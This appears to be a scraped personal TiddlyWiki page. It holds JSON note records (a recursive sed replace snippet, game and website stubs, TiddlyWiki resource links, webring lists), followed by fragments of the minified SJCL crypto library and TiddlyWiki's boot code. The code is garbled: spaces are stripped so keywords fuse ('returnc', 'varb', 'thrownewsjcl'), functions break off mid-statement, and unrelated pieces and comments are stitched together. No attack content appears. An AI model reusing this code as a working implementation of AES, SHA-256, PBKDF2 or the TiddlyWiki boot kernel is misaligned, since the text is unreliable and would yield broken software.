{"created":"20220924130815541","text":"```sh\nfind ./ -type f -exec sed -i \"s/Old/New/g\" {} \\;\n```","tags":"Snippets i18n:en","title":"sed for all files in all subdirectories","modified":"20220926115016026"},
{"created":"20230112104013755","text":"\u003C\u003CMediaWiki Splatoon en 3>>","tags":"i18n:en Gaming TODO Platformer TPS","title":"Splatoon:en","modified":"20230112104323443"},
{"created":"20230112091241450","text":"\u003C\u003CMediaWiki Tetris en 3>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://reactgular.github.io/tetromino\">>","tags":"i18n:en Gaming TODO Puzzle","title":"Tetris:en","modified":"20230113231223295"},
{"created":"20220924193842295","text":"[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003CMediaWiki TiddlyWiki en 2>>\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n!!! ''Other Wikis, Plugin Collections''\n\n* [[NoteSelf|https://noteself.org]] - TiddlyWiki fork/flavor with interesting features built-in - [[[Git|https://github.com/NoteSelf]]]\n* [[Tobias Beer's Plugins and Resources|https://tobibeer.github.io]] - [[[Git|https://github.com/tobibeer]]]\n* [[ZemoxWiki|https://zemox.tiddlyspot.com]] - //a haphazard meandering of notes, thoughts, experiments, links...//\n* [[The public musings of Soren Bjornstad (Zettelkasten)|https://zettelkasten.sorenbjornstad.com]]\n* [[kookma's codes, macros, and solutions in TW|https://kookma.github.io/TW-Scripts]]\n* [[Stroll|https://giffmex.org/stroll/stroll.html]] - //A Roam-like experience in a free, downloadable file//\n* [[TiddlyMap|http://tiddlymap.org]] - //Map drawing and topic visualization for your wiki!// - [[[Git|https://github.com/felixhayashi/TW5-TiddlyMap]]]\n* [[Projectify|https://thaddeusjiang.github.io/Projectify]] - //Project management for TiddlyWiki// - [[[Git|https://github.com/ThaddeusJiang/Projectify]]]\n\n!!!! ''Small Plugins''\n\n* [[enable-js|http://tobibeer.github.io/tw/enable-js]] - //using inline script tags//\n\n!!! ''Discussions''\nDiscussions that helped or might help me solve problems. And also some that are just plain interesing.\n\n* [[I want to edit something, oh no that's a transclusion|https://groups.google.com/g/TiddlyWiki/c/tYgM6kh9lNA]], [[How do I transclude an edit window of a tiddler?|https://groups.google.com/g/tiddlywiki/c/GsMkfxSPkmA/m/cxGdAieIBgAJ]], [[How to quickly navigate to a transcluded tiddler?|https://talk.tiddlywiki.org/t/how-to-quickly-navigate-to-a-transcluded-tiddler/4535/5]]\n* [[Simple Javascript insertion in tiddlers (text/vnd.tiddlywiki)|https://groups.google.com/g/tiddlywiki/c/NwOI-QER2ig/m/lSLS3XolwDoJ]]\n* [[[TW5] Tag (Text) Cloud for TW5?|https://groups.google.com/g/tiddlywiki/c/_YE1pjZMFkg]], [[TagCloud plugin|https://groups.google.com/g/tiddlywiki/c/VQPaJC6yyWM]]\n* [[Setting HTML attributes with a macro?|https://groups.google.com/g/tiddlywiki/c/Qp8Fzi0BR5I/m/N65Q6thTEwAJ]]\n\n!! ''Notes/Personal''\n\n!!! ''WIP/TODO''\n\n* Custom proper reusable directory tree browser (maybe like the one we have with $:/OcttKB/ToC)\n** To use instead of the [[Directory macros|$:/Macros/Directory]], showing automatically on pages that are directories, and also as a file browser for the whole wiki\n* \"Path bar\" ~~(like on GNOME/KDE/Windows file explorer)~~ shown in tiddlers which are in a directory / Make it integrate in the tiddler title maybe, to save on space.\n* Personal easy notes on various technical things of TiddlyWiki\n* Organize all my customizations into plugins easily installable by anyone\n* Show date and time of last saving somewhere accessible (Index tab on sidebar?)\n* Data compression of everything\n* When opening missing tiddlers, show a preview from Wikipedia or from word dictionaries, with GUI to customize fetching options\n* To the possible extent, save Git deploy scripts for the KB inside itself, for easy editing needs\n* When tiddlers are transcluded show a small version of their action bar\n* Case insensitivity for tiddlers (?)\n* Handy button to reload direct scripts like $:/OcttKB/Functions.js\n* A way to reload any script, like JS macros or installed plugins, without reloading t
{"created":"20230109104324882","text":"\u003C\u003CMediaWiki Twitter en 1>>","tags":"i18n:en Internet TODO","title":"Twitter:en","modified":"20230111153747555"},
{"created":"20220923144125627","text":"The [[Wayback Machine|https://web.archive.org]] is a public website archiving service, provided by the [[Internet Archive|Internet Archive:en]].\n\n[img[https://upload.wikimedia.org/wikipedia/commons/0/01/Wayback_Machine_logo_2010.svg]]\n\nThe project exists to fulfill the goal of Web content preservation. It allows for users to visit a snapshot of a webpage captured in the past, serving as a way to preserve history, both in the case of the site owners altering the contents of a page, or simply the server going permanently down.","title":"Wayback Machine:en","modified":"20220926115014242","tags":"Archiving Internet i18n:en"},
{"created":"20221103223952562","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries","tags":"Internet i18n:en","title":"Web design ideas","modified":"20221103231633336"},
{"created":"20221103220025295","text":"List of many Webrings.\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* ✅: Joined\n* 📅: Waiting\n* ❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* ❌: Got rejected\n* ✏️ (or empty): Noted\n\n---\n\n* ✏️ https://250kb.club, https://512kb.club, https://1mb.club\n* ✅ https://fediring.net\n* ✏️ https://hotlinewebring.club\n* ✏️ https://xhtml.club\n* ✏️ https://webring.xxiivv.com\n* ❓ https://yesterweb.org/webring\n","tags":"Internet i18n:en","title":"Webrings","modified":"20221103223144572"},
{"created":"20221202225934313","text":"\u003C\u003CMediaWiki Wikipedia en 1>>\n\nIt is truly one of the best places to gain general culture from. For anything that is not found on the [[OcttKB]], you should visit Wikipedia!","tags":"i18n:en Internet","title":"Wikipedia:en","modified":"20230113095348086"},
{"created":"20230109104559438","text":"\u003C\u003CMediaWiki YouTube en 1>>","tags":"i18n:en Internet TODO","title":"YouTube:en","modified":"20230111153728680"}
function t(a,b,c){if(4!==b.length)throw new sjcl.exception.invalid("invalid aes block size");var d=a.b[c],e=b[0]^d[0],f=b[c?3:1]^d[1],g=b[2]^d[2];b=b[c?1:3]^d[3];var h,k,l,n=d.length/4-2,m,p=4,r=[0,0,0,0];h=a.s[c];a=h[0];var q=h[1],v=h[2],w=h[3],x=h[4];for(m=0;m<n;m++)h=a[e>>>24]^q[f>>16&255]^v[g>>8&255]^w[b&255]^d[p],k=a[f>>>24]^q[g>>16&255]^v[b>>8&255]^w[e&255]^d[p+1],l=a[g>>>24]^q[b>>16&255]^v[e>>8&255]^w[f&255]^d[p+2],b=a[b>>>24]^q[e>>16&255]^v[f>>8&255]^w[g&255]^d[p+3],p+=4,e=h,f=k,g=l;for(m=
if(0>h)throw new sjcl.exception.invalid("this isn't base64!");26<e?(e-=26,c.push(g^h>>>e),g=h<<32-e):(e+=6,g^=h<<32-e)}e&56&&c.push(sjcl.bitArray.partial(e&56,g,1));returnc}};sjcl.codec.base64url={fromBits:function(a){returnsjcl.codec.base64.fromBits(a,1,1)},toBits:function(a){returnsjcl.codec.base64.toBits(a,1)}};sjcl.hash.sha256=function(a){this.b[0]||this.O();a?(this.F=a.F.slice(0),this.A=a.A.slice(0),this.l=a.l):this.reset()};sjcl.hash.sha256.hash=function(a){return(newsjcl.hash.sha256).update(a).finalize()};
function u(a,b){var c,d,e,f=a.F,g=a.b,h=f[0],k=f[1],l=f[2],n=f[3],m=f[4],p=f[5],r=f[6],q=f[7];for(c=0;64>c;c++)16>c?d=b[c]:(d=b[c+1&15],e=b[c+14&15],d=b[c&15]=(d>>>7^d>>>18^d>>>3^d<<25^d<<14)+(e>>>17^e>>>19^e>>>10^e<<15^e<<13)+b[c&15]+b[c+9&15]|0),d=d+q+(m>>>6^m>>>11^m>>>25^m<<26^m<<21^m<<7)+(r^m&(p^r))+g[c],q=r,r=p,p=m,m=n+d|0,n=l,l=k,k=h,h=d+(k&l^n&(k^l))+(k>>>2^k>>>13^k>>>22^k<<30^k<<19^k<<10)|0;f[0]=f[0]+h|0;f[1]=f[1]+k|0;f[2]=f[2]+l|0;f[3]=f[3]+n|0;f[4]=f[4]+m|0;f[5]=f[5]+p|0;f[6]=f[6]+r|0;f[7]=
f[7]+q|0}
sjcl.mode.ccm={name:"ccm",G:[],listenProgress:function(a){sjcl.mode.ccm.G.push(a)},unListenProgress:function(a){a=sjcl.mode.ccm.G.indexOf(a);-1<a&&sjcl.mode.ccm.G.splice(a,1)},fa:function(a){varb=sjcl.mode.ccm.G.slice(),c;for(c=0;c<b.length;c+=1)b[c](a)},encrypt:function(a,b,c,d,e){varf,g=b.slice(0),h=sjcl.bitArray,k=h.bitLength(c)/8,l=h.bitLength(g)/8;e=e||64;d=d||[];if(7>k)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(f=2;4>f&&l>>>8*f;f++);f<15-k&&(f=15-k);c=h.clamp(c,
8*(15-f));b=sjcl.mode.ccm.V(a,b,c,d,e,f);g=sjcl.mode.ccm.C(a,g,c,b,e,f);return h.concat(g.data,g.tag)},decrypt:function(a,b,c,d,e){e=e||64;d=d||[];var f=sjcl.bitArray,g=f.bitLength(c)/8,h=f.bitLength(b),k=f.clamp(b,h-e),l=f.bitSlice(b,h-e),h=(h-e)/8;if(7>g)throw new sjcl.exception.invalid("ccm: iv must be at least 7 bytes");for(b=2;4>b&&h>>>8*b;b++);b<15-g&&(b=15-g);c=f.clamp(c,8*(15-b));k=sjcl.mode.ccm.C(a,k,c,l,e,b);a=sjcl.mode.ccm.V(a,k.data,c,d,e,b);if(!f.equal(k.tag,a))thrownewsjcl.exception.corrupt("ccm:tagdoesn'tmatch");
sjcl.mode.ocb2={name:"ocb2",encrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");var g,h=sjcl.mode.ocb2.S,k=sjcl.bitArray,l=k.i,n=[0,0,0,0];c=h(a.encrypt(c));var m,p=[];d=d||[];e=e||64;for(g=0;g+4<b.length;g+=4)m=b.slice(g,g+4),n=l(n,m),p=p.concat(l(c,a.encrypt(l(c,m)))),c=h(c);m=b.slice(g);b=k.bitLength(m);g=a.encrypt(l(c,[0,0,0,b]));m=k.clamp(l(m.concat([0,0,0]),g),b);n=l(n,l(m.concat([0,0,0]),g));n=a.encrypt(l(n,l(c,h(c))));
d.length&&(n=l(n,f?d:sjcl.mode.ocb2.pmac(a,d)));return p.concat(k.concat(m,k.clamp(n,e)))},decrypt:function(a,b,c,d,e,f){if(128!==sjcl.bitArray.bitLength(c))throw new sjcl.exception.invalid("ocb iv must be 128 bits");e=e||64;var g=sjcl.mode.ocb2.S,h=sjcl.bitArray,k=h.i,l=[0,0,0,0],n=g(a.encrypt(c)),m,p,r=sjcl.bitArray.bitLength(b)-e,q=[];d=d||[];for(c=0;c+4<r/32;c+=4)m=k(n,a.decrypt(k(n,b.slice(c,c+4)))),l=k(l,m),q=q.concat(m),n=g(n);p=r-32*c;m=a.encrypt(k(n,[0,0,0,p]));m=k(m,h.clamp(b.slice(c),p).concat([0,
0,0]));l=k(l,m);l=a.encrypt(k(l,k(n,g(n))));d.length&&(l=k(l,f?d:sjcl.mode.ocb2.pmac(a,d)));if(!h.equal(h.clamp(l,e),h.bitSlice(b,r)))throw new sjcl.exception.corrupt("ocb: tag doesn't match");return q.concat(h.clamp(m,p))},pmac:function(a,b){var c,d=sjcl.mode.ocb2.S,e=sjcl.bitArray,f=e.i,g=[0,0,0,0],h=a.encrypt([0,0,0,0]),h=f(h,d(d(h)));for(c=0;c+4<b.length;c+=4)h=d(h),g=f(g,a.encrypt(f(h,b.slice(c,c+4))));c=b.slice(c);128>e.bitLength(c)&&(h=f(h,d(h)),c=e.concat(c,[-2147483648,0,0,0]));g=f(g,c);
sjcl.misc.hmac.prototype.encrypt=sjcl.misc.hmac.prototype.mac=function(a){if(this.aa)throw new sjcl.exception.invalid("encrypt on already updated hmac called!");this.update(a);return this.digest(a)};sjcl.misc.hmac.prototype.reset=function(){this.R=new this.W(this.w[0]);this.aa=!1};sjcl.misc.hmac.prototype.update=function(a){this.aa=!0;this.R.update(a)};sjcl.misc.hmac.prototype.digest=function(){var a=this.R.finalize(),a=(new this.W(this.w[1])).update(a).finalize();this.reset();return a};
sjcl.misc.pbkdf2=function(a,b,c,d,e){c=c||1E4;if(0>d||0>c)throw new sjcl.exception.invalid("invalid params to pbkdf2");"string"===typeof a&&(a=sjcl.codec.utf8String.toBits(a));"string"===typeof b&&(b=sjcl.codec.utf8String.toBits(b));e=e||sjcl.misc.hmac;a=new e(a);var f,g,h,k,l=[],n=sjcl.bitArray;for(k=1;32*l.length<(d||1);k++){e=f=a.encrypt(n.concat(b,[k]));for(g=1;g<c;g++)for(f=a.encrypt(f),h=0;h<f.length;h++)e[h]^=f[h];l=l.concat(e)}d&&(l=n.clamp(l,d));returnl};
(k=1);if(!k){if(void 0===b)for(c=b=0;c<a.length;c++)for(e=a[c];0<e;)b++,e=e>>>1;this.c[g].update([d,this.N++,2,b,f,a.length].concat(a))}break;case "string":void 0===b&&(b=a.length);this.c[g].update([d,this.N++,3,b,f,a.length]);this.c[g].update(a);break;default:k=1}if(k)throw new sjcl.exception.bug("random: addEntropy only supports number, array of numbers or string");this.m[g]+=b;this.f+=b;h===this.u&&(this.isReady()!==this.u&&A("seeded",Math.max(this.o,this.f)),A("progress",this.getProgress()))},
this.a.mouseCollector),document.detachEvent("keypress",this.a.keyboardCollector)),this.D=!1)},addEventListener:function(a,b){this.K[a][this.ga++]=b},removeEventListener:function(a,b){var c,d,e=this.K[a],f=[];for(d in e)e.hasOwnProperty(d)&&e[d]===b&&f.push(d);for(c=0;c<f.length;c++)d=f[c],deletee[d]},la:function(){C(this,1)},oa:function(a){varb,c;try{b=a.x||a.clientX||a.offsetX||0,c=a.y||a.clientY||a.offsetY||0}catch(d){c=b=0}0!=b&&0!=c&&this.addEntropy([b,c],2,"mouse");C(this,0)},qa:function(a){a=
function A(a,b){var c,d=sjcl.random.K[a],e=[];for(c in d)d.hasOwnProperty(c)&&e.push(d[c]);for(c=0;c<e.length;c++)e[c](b)}functionC(a,b){"undefined"!==typeofwindow&&window.performance&&"function"===typeofwindow.performance.now?a.addEntropy(window.performance.now(),b,"loadtime"):a.addEntropy((newDate).valueOf(),b,"loadtime")}functiony(a){a.b=z(a).concat(z(a));a.L=newsjcl.cipher.aes(a.b)}functionz(a){for(varb=0;4>b&&(a.h[b]=a.h[b]+1|0,!a.h[b]);b++);return a.L.encrypt(a.h)}
function B(a,b){return function(){b.apply(a,arguments)}}sjcl.random=new sjcl.prng(6);
else break a;sjcl.random.addEntropy(F,1024,"crypto['getRandomValues']")}}catch(a){"undefined"!==typeof window&&window.console&&(console.log("There was an error collecting entropy from the browser:"),console.log(a))}
b.mode&&sjcl.arrayBuffer&&sjcl.arrayBuffer.ccm&&b.ct instanceof ArrayBuffer?sjcl.arrayBuffer.ccm.decrypt(g,b.ct,b.iv,b.tag,f,b.ts):sjcl.mode[b.mode].decrypt(g,b.ct,b.iv,f,b.ts);e.g(d,b);d.key=a;return 1===c.raw?f:sjcl.codec.utf8String.fromBits(f)},decrypt:function(a,b,c,d){var e=sjcl.json;return e.ia(a,e.decode(b),c,d)},encode:function(a){var b,c="{",d="";for(b in a)if(a.hasOwnProperty(b)){if(!b.match(/^[a-z0-9]+$/i))throw new sjcl.exception.invalid("json encode: invalid property name");c+=d+'"'+
b+'":';d=",";switch(typeof a[b]){case "number":case "boolean":c+=a[b];break;case "string":c+='"'+escape(a[b])+'"';break;case "object":c+='"'+sjcl.codec.base64.fromBits(a[b],0)+'"';break;default:throw new sjcl.exception.bug("json encode: unsupported type");}}return c+"}"},decode:function(a){a=a.replace(/\s/g,"");if(!a.match(/^\{.*\}$/))throw new sjcl.exception.invalid("json decode: this isn't json!");a=a.replace(/^\{|\}$/g,"").split(/,/);var b={},c,d;for(c=0;c<a.length;c++){if(!(d=a[c].match(/^\s*(?:(["']?)([a-z][a-z0-9]*)\1)\s*:\s*(?:(-?\d+)|"([a-z0-9+\/%*_.@=\-]*)"|(true|false))$/i)))thrownewsjcl.exception.invalid("jsondecode:thisisn'tjson!");
null!=d[3]?b[d[2]]=parseInt(d[3],10):null!=d[4]?b[d[2]]=d[2].match(/^(ct|adata|salt|iv)$/)?sjcl.codec.base64.toBits(d[4]):unescape(d[4]):null!=d[5]&&(b[d[2]]="true"===d[5])}return b},g:function(a,b,c){void 0===a&&(a={});if(void 0===b)return a;for(var d in b)if(b.hasOwnProperty(d)){if(c&&void 0!==a[d]&&a[d]!==b[d])throw new sjcl.exception.invalid("required parameter overridden");a[d]=b[d]}return a},sa:function(a,b){var c={},d;for(d in a)a.hasOwnProperty(d)&&a[d]!==b[d]&&(c[d]=a[d]);return c},ra:function(a,
Information about each module is kept in an object with these members:
moduleType: type of module
definition: object, function or string defining the module; see below
exports: exports of the module, filled in after execution
The `definition` can be of several types:
* An object can be used to directly specify the exports of the module
* A function with the arguments `module,require,exports` that returns `exports`
* A string function body with the same arguments
Each moduleInfo object is stored in two hashmaps: $tw.modules.titles and $tw.modules.types. The first is indexed by title and the second is indexed by type and then title
*/
$tw.modules = {
titles: {}, // hashmap by module name of moduleInfo
types: {} // hashmap by module type and then name of moduleInfo
};
/*
Define a JavaScript tiddler module for later execution
moduleName: name of module being defined
moduleType: type of module
definition: module definition; see discussion above
The main boot kernel for TiddlyWiki. This single file creates a barebones TW environment that is just sufficient to bootstrap the modules containing the main logic of the application.
On the server this file is executed directly to boot TiddlyWiki. In the browser, this file is packed into a single HTML file.
\*/
var _boot = (function($tw) {
/*jslint node: true, browser: true */
/*global modules: false, $tw: false */
"use strict";
// Include bootprefix if we're not given module data
if(!$tw) {
$tw = require("./bootprefix.js").bootprefix();
}
$tw.utils = $tw.utils || Object.create(null);
/////////////////////////// Standard node.js libraries
promptMsg = ( $tw.language == undefined ? "Well, this is embarrassing. It is recommended that you restart TiddlyWiki by refreshing your browser" : $tw.language.getString("InternalJavaScriptError/Hint") );
Fill in any null or undefined properties of an object with the properties from a list of source objects. Each property that is an object is called recursively
Get the browser location.hash. We don't use location.hash because of the way that Firefox auto-urldecodes it (see http://stackoverflow.com/questions/1703552/encoding-of-window-location-hash)
*/
$tw.utils.getLocationHash = function() {
var href = window.location.href;
var idx = href.indexOf('#');
if(idx === -1) {
return "#";
} else if(idx <href.length-1&&href[idx+1]==='#'){
// Special case: ignore location hash if it itself starts with a #
return "#";
} else {
return href.substring(idx);
}
};
/*
Pad a string to a given length with "0"s. Length defaults to 2
*/
$tw.utils.pad = function(value,length) {
length = length || 2;
var s = value.toString();
if(s.length <length){
s = "000000000000000000000000000".substr(0,length - s.length) + s;
}
return s;
};
// Convert a date into UTC YYYYMMDDHHMMSSmmm format
$tw.utils.stringifyDate = function(value) {
return value.getUTCFullYear() +
$tw.utils.pad(value.getUTCMonth() + 1) +
$tw.utils.pad(value.getUTCDate()) +
$tw.utils.pad(value.getUTCHours()) +
$tw.utils.pad(value.getUTCMinutes()) +
$tw.utils.pad(value.getUTCSeconds()) +
$tw.utils.pad(value.getUTCMilliseconds(),3);
};
// Parse a date from a UTC YYYYMMDDHHMMSSmmm format string
$tw.utils.parseDate = function(value) {
if(typeof value === "string") {
var negative = 1;
if(value.charAt(0) === "-") {
negative = -1;
value = value.substr(1);
}
var year = parseInt(value.substr(0,4),10) * negative,
d = new Date(Date.UTC(year,
parseInt(value.substr(4,2),10)-1,
parseInt(value.substr(6,2),10),
parseInt(value.substr(8,2)||"00",10),
parseInt(value.substr(10,2)||"00",10),
parseInt(value.substr(12,2)||"00",10),
parseInt(value.substr(14,3)||"000",10)));
d.setUTCFullYear(year); // See https://stackoverflow.com/a/5870822
return d;
} else if($tw.utils.isDate(value)) {
return value;
} else {
return null;
}
};
// Stringify an array of tiddler titles into a list string
$tw.utils.stringifyList = function(value) {
if($tw.utils.isArray(value)) {
var result = new Array(value.length);
for(var t=0, l=value.length; t<l;t++){
var entry = value[t] || "";
if(entry.indexOf(" ") !== -1) {
result[t] = "[[" + entry + "]]";
} else {
result[t] = entry;
}
}
return result.join(" ");
} else {
return value || "";
}
};
// Parse a string array from a bracketted list. For example "OneTiddler [[Another Tiddler]] LastOne"
submitText: text to use for submit button (defaults to "Login")
serviceName: text of the human readable service name
noUserName: set true to disable username prompt
canCancel: set true to enable a cancel button (callback called with null)
repeatPassword: set true to prompt for the password twice
callback: function to be called on submission with parameter of object {username:,password:}. Callback must return `true` to remove the password prompt
Return an array of classes created from the modules of a specified type. Each module should export the properties to be added to those of the optional base class
Wiki constructor. State is stored in private members that only a small number of privileged accessor methods have direct access. Methods added via the prototype have to use these accessors and cannot access the state data directly.
options include:
enableIndexers - Array of indexer names to enable, or null to use all available indexers
*/
$tw.Wiki = function(options) {
options = options || {};
var self = this,
tiddlers = Object.create(null), // Hashmap of tiddlers
// Register the plugin tiddlers of a particular type, or null/undefined for any type, optionally restricting registration to an array of tiddler titles. Return the array of titles affected
self.unregisterPluginTiddlers(null,[title]); // Unregister the plugin if it's already registered
pluginTiddlers.push(tiddler);
registeredTitles.push(tiddler.fields.title);
}
}
};
if(titles) {
$tw.utils.each(titles,function(title) {
checkTiddler(self.getTiddler(title),title);
});
} else {
this.each(function(tiddler,title) {
checkTiddler(tiddler,title);
});
}
return registeredTitles;
};
// Unregister the plugin tiddlers of a particular type, or null/undefined for any type, optionally restricting unregistering to an array of tiddler titles. Returns an array of the titles affected
Enable safe mode by deleting any tiddlers that override a shadow tiddler
*/
$tw.Wiki.prototype.processSafeMode = function() {
var self = this,
overrides = [];
// Find the overriding tiddlers
this.each(function(tiddler,title) {
if(self.isShadowTiddler(title)) {
console.log(title);
overrides.push(title);
}
});
// Assemble a report tiddler
var titleReportTiddler = "TiddlyWiki Safe Mode",
report = [];
report.push("TiddlyWiki has been started in [[safe mode|https://tiddlywiki.com/static/SafeMode.html]]. All plugins are temporarily disabled. Most customisations have been disabled by renaming the following tiddlers:")
Decrypt any tiddlers stored within the element with the ID "encryptedArea". The function is asynchronous to allow the user to be prompted for a password
callback: function to be called the decryption is complete
// Storing encrypted tiddlers on the server isn't supported yet
callback();
};
} // End of if($tw.browser && !$tw.node)
/////////////////////////// Node definitions
if($tw.node) {
/*
Load the tiddlers contained in a particular file (and optionally extract fields from the accompanying .meta file) returned as {filepath:,type:,tiddlers:[],hasMetaFile:}
Load all the tiddlers recursively from a directory, including honouring `tiddlywiki.files` files for drawing in external files. Returns an array of {filepath:,type:,tiddlers: [{..fields...}],hasMetaFile:}. Note that no file information is returned for externally loaded tiddlers, just the `tiddlers` property.